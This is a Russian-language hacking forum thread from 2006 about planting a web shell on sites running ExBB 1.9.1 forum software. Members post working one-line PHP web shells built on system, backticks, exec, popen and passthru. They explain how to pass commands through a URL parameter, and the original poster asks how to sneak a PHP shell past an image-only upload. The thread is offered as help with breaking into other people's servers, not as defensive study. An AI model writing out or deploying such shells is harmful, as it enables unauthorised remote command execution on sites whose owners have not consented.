Форумы ExBB 1.9.1 - залить шелл

Discussion in 'Уязвимости CMS/форумов' started by TweakeR, 8 Feb 2006.

Thread Status:
Not open for further replies.
  1. TweakeR

    TweakeR Member

    Joined:
    6 Feb 2006
    Messages:
    54
    Likes Received:
    8
    Reputations:
    5
    :rolleyes: :rolleyes: :rolleyes: Кто нить может шелл написать чтобы он весил не более 10 KB и мог залить файл или редактировать???ТО там php- скрипт залить можно, а шелл весит много !!выручайте!!
     
  2. Nova

    Nova Green member

    Joined:
    15 Jul 2005
    Messages:
    1,233
    Likes Received:
    420
    Reputations:
    280
    <?php system($_GET[cmd]);?>

    пойдёт ??? (по моему так если ничё не забыл то должно работать)

    А вообще пользуйся поиском www.google.com там всё найдёться....
     
    _________________________
  3. TweakeR

    TweakeR Member

    Joined:
    6 Feb 2006
    Messages:
    54
    Likes Received:
    8
    Reputations:
    5
    Пишет: Warning: system() [function.system]: Cannot execute a blank command in .../index.php on line 1
    И как им пользоватся??
     
  4. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    кроме систем пробуй еще
    exec
    popen
    <?php `$_GET[cmd];`?>
     
  5. TweakeR

    TweakeR Member

    Joined:
    6 Feb 2006
    Messages:
    54
    Likes Received:
    8
    Reputations:
    5
    пробывал все три способа не фига, может в адресе чё дописывать надо???
     
  6. TweakeR

    TweakeR Member

    Joined:
    6 Feb 2006
    Messages:
    54
    Likes Received:
    8
    Reputations:
    5
    Вобще какие дам команды есть???
    Кто может напишите подробней!!
    То блин php залить можно а зделать не не могу с этим php скриптом!
     
  7. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    я не понял, как это `` не работает? там что сейф мод стоит?
    пробуй passthrue
    есть дофига способов, но описывать просто влом
     
  8. TweakeR

    TweakeR Member

    Joined:
    6 Feb 2006
    Messages:
    54
    Likes Received:
    8
    Reputations:
    5
    Вот ещё чё, как можно залить php шелл, если на форуме моно тока рисунки???
     
  9. TweakeR

    TweakeR Member

    Joined:
    6 Feb 2006
    Messages:
    54
    Likes Received:
    8
    Reputations:
    5
    так да <?php passthrue($_GET[cmd]);?> ????
     
  10. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    интерпритатор не может исполнить пустую комманду.
    использовать shell.php?cmd=тут твоя комманда
    На этом тему закрываю,ибо к форумам относится косвенно.
     
Thread Status:
Not open for further replies.